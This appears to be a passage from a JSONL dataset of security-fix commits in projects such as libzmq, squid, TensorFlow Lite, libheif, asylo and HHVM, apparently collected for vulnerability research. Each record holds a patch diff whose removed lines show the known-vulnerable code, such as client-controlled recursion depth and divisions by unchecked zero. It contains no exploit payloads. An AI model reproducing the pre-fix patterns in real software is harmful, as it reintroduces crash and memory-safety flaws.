generic_mtrie_t *next_node =\n- _count == 1 ? _next.node : _next.table[c - _min];\n-\n- if (!next_node)\n- return not_found;\n+ // This used to be implemented as a non-tail recursive travesal of the trie,\n+ // which means remote clients controlled the depth of the recursion and the\n+ // stack size.\n+ // To simulate the non-tail recursion, with post-recursion changes depending on\n+ // the result of the recursive call, a stack is used to re-visit the same node\n+ // and operate on it again after children have been visisted.\n+ // A boolean is used to record whether the node had already been visited and to\n+ // determine if the pre- or post- children visit actions have to be taken.\n+ rm_result ret = not_found;\n+ std::list stack;\n+ struct iter it = {this, NULL, prefix_, size_, 0, 0, 0, false};\n+ stack.push_back (it);\n+\n+ while (!stack.empty ()) {\n+ it = stack.back ();\n+ stack.pop_back ();\n+\n+ if (!it.processed_for_removal) {\n+ if (!it.size) {\n+ if (!it.node->_pipes) {\n+ ret = not_found;\n+ continue;\n+ }\n+\n+ typename pipes_t::size_type erased =\n+ it.node->_pipes->erase (pipe_);\n+ if (it.node->_pipes->empty ()) {\n+ zmq_assert (erased == 1);\n+ LIBZMQ_DELETE (it.node->_pipes);\n+ ret = last_value_removed;\n+ continue;\n+ }\n+\n+ ret = (erased == 1) ? values_remain : not_found;\n+ continue;\n+ }\n \n- const rm_result ret = next_node->rm_helper (prefix_ + 1, size_ - 1, pipe_);\n+ it.current_child = *it.prefix;\n+ if (!it.node->_count || it.current_child < it.node->_min\n+ || it.current_child >= it.node->_min + it.node->_count) {\n+ ret = not_found;\n+ continue;\n+ }\n \n- if (next_node->is_redundant ()) {\n- LIBZMQ_DELETE (next_node);\n- zmq_assert (_count > 0);\n+ it.next_node =\n+ it.node->_count == 1\n+ ? it.node->_next.node\n+ : it.node->_next.table[it.current_child - it.node->_min];\n+ if (!it.next_node) {\n+ ret = not_found;\n+ continue;\n+ }\n \n- if (_count == 1) {\n- _next.node = 0;\n- _count = 0;\n- --_live_nodes;\n- zmq_assert (_live_nodes == 0);\n+ it.processed_for_removal = true;\n+ stack.push_back (it);\n+ struct iter next = {\n+ it.next_node, NULL, it.prefix + 1, it.size - 1, 0, 0, 0, false};\n+ stack.push_back (next);\n } else {\n- _next.table[c - _min] = 0;\n- zmq_assert (_live_nodes > 1);\n- --_live_nodes;\n-\n- // Compact the table if possible\n- if (_live_nodes == 1) {\n- // If there's only one live node in the table we can\n- // switch to using the more compact single-node\n- // representation\n- unsigned short i;\n- for (i = 0; i < _count; ++i)\n- if (_next.table[i])\n- break;\n-\n- zmq_assert (i < _count);\n- _min += i;\n- _count = 1;\n- generic_mtrie_t *oldp = _next.table[i];\n- free (_next.table);\n- _next.node = oldp;\n- } else if (c == _min) {\n- // We can compact the table \"from the left\"\n- unsigned short i;\n- for (i = 1; i < _count; ++i)\n- if (_next.table[i])\n- break;\n-\n- zmq_assert (i < _count);\n- _min += i;\n- _count -= i;\n- generic_mtrie_t **old_table = _next.table;\n- _next.table = static_cast (\n- malloc (sizeof (generic_mtrie_t *) * _count));\n- alloc_assert (_next.table);\n- memmove (_next.table, old_table + i,\n- sizeof (generic_mtrie_t *) * _count);\n- free (old_table);\n- } else if (c == _min + _count - 1) {\n- // We can compact the table \"from the right\"\n- unsigned short i;\n- for (i = 1; i < _count; ++i)\n- if (_next.table[_count - 1 - i])\n- break;\n-\n- zmq_assert (i < _count);\n- _count -= i;\n- generic_mtrie_t **old_table = _next.table;\n- _next.table = static_cast (\n- malloc (sizeof (generic_mtrie_t *) * _count));\n- alloc_assert (_next.table);\n- memmove (_next.table, old_table,\n- sizeof (generic_mtrie_t *) * _count);\n- free (old_table);\n+ it.processed_for_removal = false;\n+\n+ if (it.next_node->is_redundant ()) {\n+ LIBZMQ_DELETE (it.next_node);\n+ zmq_assert (it.node->_count > 0);\n+\n+ if (it.node->_count == 1) {\n+ it.node->_next.node = NULL;\n+ it.node->_count = 0;\n+ --it.node->_live_nodes;\n+ zmq_assert (it.node->_live_nodes == 0);\n+ } else {\n+ it.node->_next.table[it.current_child - it.node->_min] = 0;\n+ zmq_assert (it.node->_live_nodes > 1);\n+ --it.node->_live_nodes;\n+\n+ // Compact the table if possible\n+ if (it.node->_live_nodes == 1) {\n+ // If there's only one live node in the table we can\n+ // switch to using the more compact single-node\n+ // representation\n+ unsigned short i;\n+ for (i = 0; i < it.node->_count; ++i)\n+ if (it.node->_next.table[i])\n+ break;\n+\n+ zmq_assert (i < it.node->_count);\n+ it.node->_min += i;\n+ it.node->_count = 1;\n+ generic_mtrie_t *oldp = it.node->_next.table[i];\n+ free (it.node->_next.table);\n+ it.node->_next.table = NULL;\n+ it.node->_next.node = oldp;\n+ } else if (it.current_child == it.node->_min) {\n+ // We can compact the table \"from the left\"\n+ unsigned short i;\n+ for (i = 1; i < it.node->_count; ++i)\n+ if (it.node->_next.table[i])\n+ break;\n+\n+ zmq_assert (i < it.node->_count);\n+ it.node->_min += i;\n+ it.node->_count -= i;\n+ generic_mtrie_t **old_table = it.node->_next.table;\n+ it.node->_next.table =\n+ static_cast (malloc (\n+ sizeof (generic_mtrie_t *) * it.node->_count));\n+ alloc_assert (it.node->_next.table);\n+ memmove (it.node->_next.table, old_table + i,\n+ sizeof (generic_mtrie_t *) * it.node->_count);\n+ free (old_table);\n+ } else if (it.current_child\n+ == it.node->_min + it.node->_count - 1) {\n+ // We can compact the table \"from the right\"\n+ unsigned short i;\n+ for (i = 1; i < it.node->_count; ++i)\n+ if (it.node->_next.table[it.node->_count - 1 - i])\n+ break;\n+\n+ zmq_assert (i < it.node->_count);\n+ it.node->_count -= i;\n+ generic_mtrie_t **old_table = it.node->_next.table;\n+ it.node->_next.table =\n+ static_cast (malloc (\n+ sizeof (generic_mtrie_t *) * it.node->_count));\n+ alloc_assert (it.node->_next.table);\n+ memmove (it.node->_next.table, old_table,\n+ sizeof (generic_mtrie_t *) * it.node->_count);\n+ free (old_table);\n+ }\n+ }\n }\n }\n }", "related": false}]} +{"owner": "squid-cache", "repo": "squid", "language": "C", "file_name": "src/http/RegisteredHeaders.cc", "commit_id": "051824924c709bd6162a378f746fb859454c674e", "commit_message": "Merge pull request from GHSA-jjq6-mh2h-g39h", "patch": "@@ -37,7 +37,7 @@ HeaderTableRecord::HeaderTableRecord(const char *n, HdrType theId, HdrFieldType\n const HeaderTableRecord&\n HeaderLookupTable_t::lookup (const char *buf, const std::size_t len) const {\n const HeaderTableRecord *r = HttpHeaderHashTable::lookup(buf, len);\n- if (!r)\n+ if (!r || r->id == Http::HdrType::OTHER)\n return BadHdr;\n return *r;\n }", "sections": [{"section": "@@ -37,7 +37,7 @@ HeaderTableRecord::HeaderTableRecord(const char *n, HdrType theId, HdrFieldType\n const HeaderTableRecord&\n HeaderLookupTable_t::lookup (const char *buf, const std::size_t len) const {\n const HeaderTableRecord *r = HttpHeaderHashTable::lookup(buf, len);\n- if (!r)\n+ if (!r || r->id == Http::HdrType::OTHER)\n return BadHdr;\n return *r;\n }", "related": false}]} +{"owner": "inspircd", "repo": "inspircd", "language": "C++", "file_name": "src/coremods/core_user/core_user.cpp", "commit_id": "4350a11c663b0d75f8119743bffb7736d87abd4d", "commit_message": "Fix sending malformed pong messages in some cases.", "patch": "@@ -83,7 +83,7 @@ class CommandPing : public SplitCommand\n \t\t\treturn CMD_FAILURE;\n \t\t}\n \n-\t\tClientProtocol::Messages::Pong pong(parameters[0], origin ? parameters[1] : \"\");\n+\t\tClientProtocol::Messages::Pong pong(parameters[0], origin ? parameters[1] : ServerInstance->Config->GetServerName());\n \t\tuser->Send(ServerInstance->GetRFCEvents().pong, pong);\n \t\treturn CMD_SUCCESS;\n \t}", "sections": [{"section": "@@ -83,7 +83,7 @@ class CommandPing : public SplitCommand\n \t\t\treturn CMD_FAILURE;\n \t\t}\n \n-\t\tClientProtocol::Messages::Pong pong(parameters[0], origin ? parameters[1] : \"\");\n+\t\tClientProtocol::Messages::Pong pong(parameters[0], origin ? parameters[1] : ServerInstance->Config->GetServerName());\n \t\tuser->Send(ServerInstance->GetRFCEvents().pong, pong);\n \t\treturn CMD_SUCCESS;\n \t}", "related": false}]} +{"owner": "ceph", "repo": "ceph", "language": "Python", "file_name": "src/pybind/mgr/dashboard/services/auth.py", "commit_id": "3c72dc309936b23e413dc1aee8ca49c795c48a0f", "commit_message": "mgr/dashboard: Use secure cookies to store JWT Token\n\nThis PR intends to store the jwt token in secure cookies instead of local storage\n\nFixes: https://tracker.ceph.com/issues/44591\n\nSigned-off-by: Aashish Sharma \nSigned-off-by: Avan Thakkar \n(cherry picked from commit 36703c63381e6723fff57266235f8230e6af1d92)", "patch": "@@ -67,12 +67,20 @@ def decode_token(cls, token):\n \n @classmethod\n def get_token_from_header(cls):\n- auth_header = cherrypy.request.headers.get('authorization')\n- if auth_header is not None:\n- scheme, params = auth_header.split(' ', 1)\n- if scheme.lower() == 'bearer':\n- return params\n- return None\n+ auth_cookie_name = 'token'\n+ try:\n+ # use cookie\n+ return cherrypy.request.cookie[auth_cookie_name].value\n+ except KeyError:\n+ try:\n+ # fall-back: use Authorization header\n+ auth_header = cherrypy.request.headers.get('authorization')\n+ if auth_header is not None:\n+ scheme, params = auth_header.split(' ', 1)\n+ if scheme.lower() == 'bearer':\n+ return params\n+ except IndexError:\n+ return None\n \n @classmethod\n def set_user(cls, username):", "sections": [{"section": "@@ -67,12 +67,20 @@ def decode_token(cls, token):\n \n @classmethod\n def get_token_from_header(cls):\n- auth_header = cherrypy.request.headers.get('authorization')\n- if auth_header is not None:\n- scheme, params = auth_header.split(' ', 1)\n- if scheme.lower() == 'bearer':\n- return params\n- return None\n+ auth_cookie_name = 'token'\n+ try:\n+ # use cookie\n+ return cherrypy.request.cookie[auth_cookie_name].value\n+ except KeyError:\n+ try:\n+ # fall-back: use Authorization header\n+ auth_header = cherrypy.request.headers.get('authorization')\n+ if auth_header is not None:\n+ scheme, params = auth_header.split(' ', 1)\n+ if scheme.lower() == 'bearer':\n+ return params\n+ except IndexError:\n+ return None\n \n @classmethod\n def set_user(cls, username):", "related": false}]} +{"owner": "envoyproxy", "repo": "envoy", "language": "C", "file_name": "test/common/http/http2/http2_frame.cc", "commit_id": "72c16ed32b0ba3ac1b8e9d571d3a8cbe4a9e9f40", "commit_message": "backport to 1.17: http: Fixing empty metadata map handling\n\nCommit Message: Fixing a crash when the decoder receives an empty metadata map.\n\nAdditional Description:\nUpon receiving an empty metadata map and trying to decode it an assertion is triggered in debug mode, and a seg-fault occurs in release mode.\nThe proposed fix ignores the empty metadata maps and updates a stats if one is received.\n\nRisk Level: Medium for Envoy's running with Metadata support.\nTesting: Added integration tests.\nDocs Changes: Added a codec stats counter description.\nRelease Notes: Added bug fix description.\nPlatform Specific Features: N/A.\nFixes a fuzz bug: 25303\n\nSigned-off-by: Adi Suissa-Peleg \nSigned-off-by: Tony Allen ", "patch": "@@ -248,7 +248,7 @@ Http2Frame Http2Frame::makeWindowUpdateFrame(uint32_t stream_index, uint32_t inc\n \n // Note: encoder in codebase persists multiple maps, with each map representing an individual frame.\n Http2Frame Http2Frame::makeMetadataFrameFromMetadataMap(uint32_t stream_index,\n- MetadataMap& metadata_map,\n+ const MetadataMap& metadata_map,\n MetadataFlags flags) {\n const int numberOfNameValuePairs = metadata_map.size();\n absl::FixedArray nameValues(numberOfNameValuePairs);", "sections": [{"section": "@@ -248,7 +248,7 @@ Http2Frame Http2Frame::makeWindowUpdateFrame(uint32_t stream_index, uint32_t inc\n \n // Note: encoder in codebase persists multiple maps, with each map representing an individual frame.\n Http2Frame Http2Frame::makeMetadataFrameFromMetadataMap(uint32_t stream_index,\n- MetadataMap& metadata_map,\n+ const MetadataMap& metadata_map,\n MetadataFlags flags) {\n const int numberOfNameValuePairs = metadata_map.size();\n absl::FixedArray nameValues(numberOfNameValuePairs);", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/kernels/embedding_lookup_sparse.cc", "commit_id": "7c8cc4ec69cd348e44ad6a2699057ca88faad3e5", "commit_message": "Fix a dangerous integer overflow and a malloc of negative size.\n\nPiperOrigin-RevId: 371254154\nChange-Id: I250a98a3df26328770167025670235a963a72da0", "patch": "@@ -173,6 +173,7 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n \n // Resize output tensor.\n TfLiteIntArray* output_shape = TfLiteIntArrayCreate(output_rank);\n+ TF_LITE_ENSURE(context, output_shape != nullptr);\n int k = 0;\n int embedding_size = 1;\n int lookup_size = 1;", "sections": [{"section": "@@ -173,6 +173,7 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n \n // Resize output tensor.\n TfLiteIntArray* output_shape = TfLiteIntArrayCreate(output_rank);\n+ TF_LITE_ENSURE(context, output_shape != nullptr);\n int k = 0;\n int embedding_size = 1;\n int lookup_size = 1;", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/kernels/conv.cc", "commit_id": "ff489d95a9006be080ad14feb378f2b4dac35552", "commit_message": "Prevent division by 0.\n\nPiperOrigin-RevId: 370962554\nChange-Id: I0b9b62f4d8e1046dd88f9433f8dfeaf61a901680", "patch": "@@ -545,6 +545,7 @@ TfLiteStatus Prepare(KernelType kernel_type, TfLiteContext* context,\n // Only one scale factor per batch is typically necessary. See optimized\n // implementation for why we need to allocate for the height of the inputs\n // flattened to 2D.\n+ TF_LITE_ENSURE(context, channels_in != 0);\n const int height = NumElements(input) / channels_in;\n int scaling_dims[1] = {height};\n if (!TfLiteIntArrayEqualsArray(scaling_factors->dims, 1, scaling_dims)) {\n@@ -587,6 +588,7 @@ TfLiteStatus Prepare(KernelType kernel_type, TfLiteContext* context,\n input_offsets->type = kTfLiteInt32;\n input_offsets->allocation_type = kTfLiteArenaRw;\n // See above comment for the need to allocate for height of inputs.\n+ TF_LITE_ENSURE(context, channels_in != 0);\n const int height = NumElements(input) / channels_in;\n const int input_offset_dims[1] = {height};\n if (!TfLiteIntArrayEqualsArray(input_offsets->dims, 1,\n@@ -886,8 +888,9 @@ TfLiteStatus EvalHybridPerChannel(TfLiteContext* context, TfLiteNode* node,\n CalculateActivationRange(params->activation, &output_activation_min,\n &output_activation_max);\n \n- const int input_size = NumElements(input) / SizeOfDimension(input, 0);\n const int batch_size = SizeOfDimension(input, 0);\n+ TF_LITE_ENSURE(context, batch_size != 0);\n+ const int input_size = NumElements(input) / batch_size;\n TfLiteTensor* quantized_input_tensor;\n TF_LITE_ENSURE_OK(context,\n GetTemporarySafe(context, node, data->input_quantized_index,\n@@ -989,8 +992,9 @@ TfLiteStatus EvalHybrid(TfLiteContext* context, TfLiteNode* node,\n CalculateActivationRange(params->activation, &output_activation_min,\n &output_activation_max);\n \n- const int input_size = NumElements(input) / SizeOfDimension(input, 0);\n const int batch_size = SizeOfDimension(input, 0);\n+ TF_LITE_ENSURE(context, batch_size != 0);\n+ const int input_size = NumElements(input) / batch_size;\n \n const float* input_ptr = GetTensorData(input);\n TfLiteTensor* quantized_input_tensor;", "sections": [{"section": "@@ -545,6 +545,7 @@ TfLiteStatus Prepare(KernelType kernel_type, TfLiteContext* context,\n // Only one scale factor per batch is typically necessary. See optimized\n // implementation for why we need to allocate for the height of the inputs\n // flattened to 2D.\n+ TF_LITE_ENSURE(context, channels_in != 0);\n const int height = NumElements(input) / channels_in;\n int scaling_dims[1] = {height};\n if (!TfLiteIntArrayEqualsArray(scaling_factors->dims, 1, scaling_dims)) {\n", "related": false}, {"section": "@@ -587,6 +588,7 @@ TfLiteStatus Prepare(KernelType kernel_type, TfLiteContext* context,\n input_offsets->type = kTfLiteInt32;\n input_offsets->allocation_type = kTfLiteArenaRw;\n // See above comment for the need to allocate for height of inputs.\n+ TF_LITE_ENSURE(context, channels_in != 0);\n const int height = NumElements(input) / channels_in;\n const int input_offset_dims[1] = {height};\n if (!TfLiteIntArrayEqualsArray(input_offsets->dims, 1,\n", "related": false}, {"section": "@@ -886,8 +888,9 @@ TfLiteStatus EvalHybridPerChannel(TfLiteContext* context, TfLiteNode* node,\n CalculateActivationRange(params->activation, &output_activation_min,\n &output_activation_max);\n \n- const int input_size = NumElements(input) / SizeOfDimension(input, 0);\n const int batch_size = SizeOfDimension(input, 0);\n+ TF_LITE_ENSURE(context, batch_size != 0);\n+ const int input_size = NumElements(input) / batch_size;\n TfLiteTensor* quantized_input_tensor;\n TF_LITE_ENSURE_OK(context,\n GetTemporarySafe(context, node, data->input_quantized_index,\n", "related": false}, {"section": "@@ -989,8 +992,9 @@ TfLiteStatus EvalHybrid(TfLiteContext* context, TfLiteNode* node,\n CalculateActivationRange(params->activation, &output_activation_min,\n &output_activation_max);\n \n- const int input_size = NumElements(input) / SizeOfDimension(input, 0);\n const int batch_size = SizeOfDimension(input, 0);\n+ TF_LITE_ENSURE(context, batch_size != 0);\n+ const int input_size = NumElements(input) / batch_size;\n \n const float* input_ptr = GetTensorData(input);\n TfLiteTensor* quantized_input_tensor;", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/kernels/transpose_conv.cc", "commit_id": "801c1c6be5324219689c98e1bd3e0ca365ee834d", "commit_message": "Fix another division by 0 in TFLite\n\nPiperOrigin-RevId: 370800181\nChange-Id: I924809166a6131f5075e6d45c455106538d755f9", "patch": "@@ -591,6 +591,10 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n const auto* params =\n reinterpret_cast(node->builtin_data);\n \n+ // Prevent divisions by 0\n+ TF_LITE_ENSURE(context, params->stride_height > 0);\n+ TF_LITE_ENSURE(context, params->stride_width > 0);\n+\n // Resize any deferred dynamic tensors\n if (IsDynamicTensor(output)) {\n TF_LITE_ENSURE_OK(context, ResizeTensor(context, output_shape, output));", "sections": [{"section": "@@ -591,6 +591,10 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n const auto* params =\n reinterpret_cast(node->builtin_data);\n \n+ // Prevent divisions by 0\n+ TF_LITE_ENSURE(context, params->stride_height > 0);\n+ TF_LITE_ENSURE(context, params->stride_width > 0);\n+\n // Resize any deferred dynamic tensors\n if (IsDynamicTensor(output)) {\n TF_LITE_ENSURE_OK(context, ResizeTensor(context, output_shape, output));", "related": false}]} +{"owner": "aawc", "repo": "unrar", "language": "C++", "file_name": "arcmem.cpp", "commit_id": "0ff832d31470471803b175cfff4e40c1b08ee779", "commit_message": "5.6.1.4: Use in-memory archive instead of file IO", "patch": "@@ -0,0 +1,62 @@\n+ArcMemory::ArcMemory()\n+{\n+ Loaded=false;\n+ SeekPos=0;\n+}\n+\n+\n+void ArcMemory::Load(const byte *Data,size_t Size)\n+{\n+ ArcData.Alloc(Size);\n+ memcpy(&ArcData[0],Data,Size);\n+ Loaded=true;\n+ SeekPos=0;\n+}\n+\n+\n+bool ArcMemory::Unload()\n+{\n+ if (!Loaded)\n+ return false;\n+ Loaded=false;\n+ return true;\n+}\n+\n+\n+bool ArcMemory::Read(void *Data,size_t Size,size_t &Result)\n+{\n+ if (!Loaded)\n+ return false;\n+ Result=(size_t)Min(Size,ArcData.Size()-SeekPos);\n+ memcpy(Data,&ArcData[(size_t)SeekPos],Result);\n+ SeekPos+=Result;\n+ return true;\n+}\n+\n+\n+bool ArcMemory::Seek(int64 Offset,int Method)\n+{\n+ if (!Loaded)\n+ return false;\n+ if (Method==SEEK_SET)\n+ SeekPos=Min(Offset,ArcData.Size());\n+ else\n+ if (Method==SEEK_CUR || Method==SEEK_END)\n+ {\n+ if (Method==SEEK_END)\n+ SeekPos=ArcData.Size();\n+ SeekPos+=(uint64)Offset;\n+ if (SeekPos>ArcData.Size())\n+ SeekPos=Offset<0 ? 0 : ArcData.Size();\n+ }\n+ return true;\n+}\n+\n+\n+bool ArcMemory::Tell(int64 *Pos)\n+{\n+ if (!Loaded)\n+ return false;\n+ *Pos=SeekPos;\n+ return true;\n+}", "sections": [{"section": "@@ -0,0 +1,62 @@\n+ArcMemory::ArcMemory()\n+{\n+ Loaded=false;\n+ SeekPos=0;\n+}\n+\n+\n+void ArcMemory::Load(const byte *Data,size_t Size)\n+{\n+ ArcData.Alloc(Size);\n+ memcpy(&ArcData[0],Data,Size);\n+ Loaded=true;\n+ SeekPos=0;\n+}\n+\n+\n+bool ArcMemory::Unload()\n+{\n+ if (!Loaded)\n+ return false;\n+ Loaded=false;\n+ return true;\n+}\n+\n+\n+bool ArcMemory::Read(void *Data,size_t Size,size_t &Result)\n+{\n+ if (!Loaded)\n+ return false;\n+ Result=(size_t)Min(Size,ArcData.Size()-SeekPos);\n+ memcpy(Data,&ArcData[(size_t)SeekPos],Result);\n+ SeekPos+=Result;\n+ return true;\n+}\n+\n+\n+bool ArcMemory::Seek(int64 Offset,int Method)\n+{\n+ if (!Loaded)\n+ return false;\n+ if (Method==SEEK_SET)\n+ SeekPos=Min(Offset,ArcData.Size());\n+ else\n+ if (Method==SEEK_CUR || Method==SEEK_END)\n+ {\n+ if (Method==SEEK_END)\n+ SeekPos=ArcData.Size();\n+ SeekPos+=(uint64)Offset;\n+ if (SeekPos>ArcData.Size())\n+ SeekPos=Offset<0 ? 0 : ArcData.Size();\n+ }\n+ return true;\n+}\n+\n+\n+bool ArcMemory::Tell(int64 *Pos)\n+{\n+ if (!Loaded)\n+ return false;\n+ *Pos=SeekPos;\n+ return true;\n+}", "related": false}]} +{"owner": "aawc", "repo": "unrar", "language": "C++", "file_name": "rardefs.hpp", "commit_id": "0ff832d31470471803b175cfff4e40c1b08ee779", "commit_message": "5.6.1.4: Use in-memory archive instead of file IO", "patch": "@@ -24,6 +24,7 @@\n #ifndef SFX_MODULE\n #define USE_QOPEN\n #endif\n+#define USE_ARCMEM\n \n // Produce the value, which is equal or larger than 'v' and aligned to 'a'.\n #define ALIGN_VALUE(v,a) (size_t(v) + ( (~size_t(v) + 1) & (a - 1) ) )", "sections": [{"section": "@@ -24,6 +24,7 @@\n #ifndef SFX_MODULE\n #define USE_QOPEN\n #endif\n+#define USE_ARCMEM\n \n // Produce the value, which is equal or larger than 'v' and aligned to 'a'.\n #define ALIGN_VALUE(v,a) (size_t(v) + ( (~size_t(v) + 1) & (a - 1) ) )", "related": false}]} +{"owner": "squid-cache", "repo": "squid", "language": "C", "file_name": "src/HttpHeaderRange.h", "commit_id": "7024fb734a59409889e53df2257b3fc817809fb4", "commit_message": "Handle more Range requests (#790)\n\nAlso removed some effectively unused code.", "patch": "@@ -78,7 +78,6 @@ class HttpHdrRange\n int64_t firstOffset() const;\n int64_t lowestOffset(int64_t) const;\n bool offsetLimitExceeded(const int64_t limit) const;\n- bool contains(const HttpHdrRangeSpec& r) const;\n std::vector specs;\n \n private:\n@@ -100,9 +99,9 @@ class HttpHdrRangeIter\n void updateSpec();\n int64_t debt() const;\n void debt(int64_t);\n- int64_t debt_size; /* bytes left to send from the current spec */\n+ int64_t debt_size = 0; /* bytes left to send from the current spec */\n String boundary; /* boundary for multipart responses */\n- bool valid;\n+ bool valid = false;\n };\n \n #endif /* SQUID_HTTPHEADERRANGE_H */", "sections": [{"section": "@@ -78,7 +78,6 @@ class HttpHdrRange\n int64_t firstOffset() const;\n int64_t lowestOffset(int64_t) const;\n bool offsetLimitExceeded(const int64_t limit) const;\n- bool contains(const HttpHdrRangeSpec& r) const;\n std::vector specs;\n \n private:\n", "related": false}, {"section": "@@ -100,9 +99,9 @@ class HttpHdrRangeIter\n void updateSpec();\n int64_t debt() const;\n void debt(int64_t);\n- int64_t debt_size; /* bytes left to send from the current spec */\n+ int64_t debt_size = 0; /* bytes left to send from the current spec */\n String boundary; /* boundary for multipart responses */\n- bool valid;\n+ bool valid = false;\n };\n \n #endif /* SQUID_HTTPHEADERRANGE_H */", "related": false}]} +{"owner": "strukturag", "repo": "libheif", "language": "C", "file_name": "libheif/box.cc", "commit_id": "2710c930918609caaf0a664e9c7bc3dce05d5b58", "commit_message": "force fraction to a limited resolution to finally solve those pesky numerical edge cases", "patch": "@@ -40,54 +40,20 @@ heif::Error heif::Error::Ok(heif_error_Ok);\n \n \n \n-static int32_t gcd(int a, int b)\n-{\n- if (a == 0 && b == 0) {\n- return 1;\n- }\n-\n- if (a == 0) return b;\n- if (b == 0) return a;\n-\n- int32_t h;\n-\n- do {\n- h = a % b;\n- a = b;\n- b = h;\n- } while (b != 0);\n-\n- return a;\n-}\n-\n-\n Fraction::Fraction(int32_t num,int32_t den)\n {\n- int32_t g = gcd(num, den);\n-\n- // these strange tests are for catching the case that we divide -2147483648 by -1,\n- // which would exceed the maximum positive value by one.\n-\n- if (num == std::numeric_limits::min() && g == -1) {\n- num++;\n- }\n-\n- if (den == std::numeric_limits::min() && g == -1) {\n- den++;\n- }\n-\n-\n- numerator = num / g;\n- denominator = den / g;\n-\n-\n // Reduce resolution of fraction until we are in a safe range.\n // We need this as adding fractions may lead to very large denominators\n // (e.g. 0x10000 * 0x10000 > 0x100000000 -> overflow, leading to integer 0)\n \n- while (denominator > MAX_FRACTION_DENOMINATOR) {\n- numerator >>= 1;\n- denominator >>= 1;\n+ while (denominator > MAX_FRACTION_VALUE || denominator < -MAX_FRACTION_VALUE) {\n+ numerator /= 2;\n+ denominator /= 2;\n+ }\n+\n+ while (numerator > MAX_FRACTION_VALUE || numerator < -MAX_FRACTION_VALUE) {\n+ numerator /= 2;\n+ denominator /= 2;\n }\n }\n ", "sections": [{"section": "@@ -40,54 +40,20 @@ heif::Error heif::Error::Ok(heif_error_Ok);\n \n \n \n-static int32_t gcd(int a, int b)\n-{\n- if (a == 0 && b == 0) {\n- return 1;\n- }\n-\n- if (a == 0) return b;\n- if (b == 0) return a;\n-\n- int32_t h;\n-\n- do {\n- h = a % b;\n- a = b;\n- b = h;\n- } while (b != 0);\n-\n- return a;\n-}\n-\n-\n Fraction::Fraction(int32_t num,int32_t den)\n {\n- int32_t g = gcd(num, den);\n-\n- // these strange tests are for catching the case that we divide -2147483648 by -1,\n- // which would exceed the maximum positive value by one.\n-\n- if (num == std::numeric_limits::min() && g == -1) {\n- num++;\n- }\n-\n- if (den == std::numeric_limits::min() && g == -1) {\n- den++;\n- }\n-\n-\n- numerator = num / g;\n- denominator = den / g;\n-\n-\n // Reduce resolution of fraction until we are in a safe range.\n // We need this as adding fractions may lead to very large denominators\n // (e.g. 0x10000 * 0x10000 > 0x100000000 -> overflow, leading to integer 0)\n \n- while (denominator > MAX_FRACTION_DENOMINATOR) {\n- numerator >>= 1;\n- denominator >>= 1;\n+ while (denominator > MAX_FRACTION_VALUE || denominator < -MAX_FRACTION_VALUE) {\n+ numerator /= 2;\n+ denominator /= 2;\n+ }\n+\n+ while (numerator > MAX_FRACTION_VALUE || numerator < -MAX_FRACTION_VALUE) {\n+ numerator /= 2;\n+ denominator /= 2;\n }\n }\n ", "related": false}]} +{"owner": "google", "repo": "asylo", "language": "C", "file_name": "asylo/platform/system_call/system_call.cc", "commit_id": "90d7619e9dd99bcdb6cd28c7649d741d254d9a1a", "commit_message": "Add sysno check in MessageReader\n\nThe sysno in MessageReader is interpreted from the Message header passed\nfrom the host. A malicious Message header may provide a modified sysno\nto bypass the validation, and overwrites enclave memory. This change\nadds a check for sysno to make sure it matches the expected value.\n\nThis issue was reported by Qinkun Bao, Zhaofeng Chen, Mingshen Sun, and\nKang Li from Baidu Security.\n\nPiperOrigin-RevId: 377328054\nChange-Id: I3ff6f60694d3390f66da89d139cf7cc7b49abaea", "patch": "@@ -115,6 +115,9 @@ extern \"C\" int64_t enc_untrusted_syscall(int sysno, ...) {\n // Copy outputs back into pointer parameters.\n auto response_reader =\n asylo::system_call::MessageReader({response_buffer, response_size});\n+ if (response_reader.sysno() != sysno) {\n+ error_handler(\"system_call.cc: Unexpected sysno in response\");\n+ }\n const asylo::primitives::PrimitiveStatus response_status =\n response_reader.Validate();\n if (!response_status.ok()) {", "sections": [{"section": "@@ -115,6 +115,9 @@ extern \"C\" int64_t enc_untrusted_syscall(int sysno, ...) {\n // Copy outputs back into pointer parameters.\n auto response_reader =\n asylo::system_call::MessageReader({response_buffer, response_size});\n+ if (response_reader.sysno() != sysno) {\n+ error_handler(\"system_call.cc: Unexpected sysno in response\");\n+ }\n const asylo::primitives::PrimitiveStatus response_status =\n response_reader.Validate();\n if (!response_status.ok()) {", "related": false}]} +{"owner": "facebook", "repo": "hhvm", "language": "C++", "file_name": "hphp/runtime/ext/xmlreader/ext_xmlreader.cpp", "commit_id": "abe0b29e4d3a610f9bc920b8be4ad8403364c2d4", "commit_message": "security fixes\n\nhttps://hhvm.com/blog/2020/11/12/security-update.html", "patch": "@@ -598,11 +598,11 @@ Variant HHVM_METHOD(XMLReader, expand,\n if (!basenode.isNull()) {\n auto dombasenode = Native::data(basenode.toObject());\n doc = dombasenode->doc();\n- docp = doc->docp();\n- if (docp == nullptr) {\n+ if (doc == nullptr || doc->docp() == nullptr) {\n raise_warning(\"Invalid State Error\");\n return false;\n }\n+ docp = doc->docp();\n }\n \n if (data->m_ptr) {", "sections": [{"section": "@@ -598,11 +598,11 @@ Variant HHVM_METHOD(XMLReader, expand,\n if (!basenode.isNull()) {\n auto dombasenode = Native::data(basenode.toObject());\n doc = dombasenode->doc();\n- docp = doc->docp();\n- if (docp == nullptr) {\n+ if (doc == nullptr || doc->docp() == nullptr) {\n raise_warning(\"Invalid State Error\");\n return false;\n }\n+ docp = doc->docp();\n }\n \n if (data->m_ptr) {", "related": false}]} +{"owner": "cloudendpoints", "repo": "esp", "language": "C", "file_name": "src/api_manager/check_auth_test.cc", "commit_id": "e310c4f91d229a072507f80c73811489b4cdff27", "commit_message": "Remove X-Endpoint-API-UserInfo for all header occurrences. (#845)", "patch": "@@ -458,7 +458,7 @@ void CheckAuthTest::TestValidToken(const std::string &auth_token,\n }));\n std::cout << \"need be replaced: \" << user_info << std::endl;\n 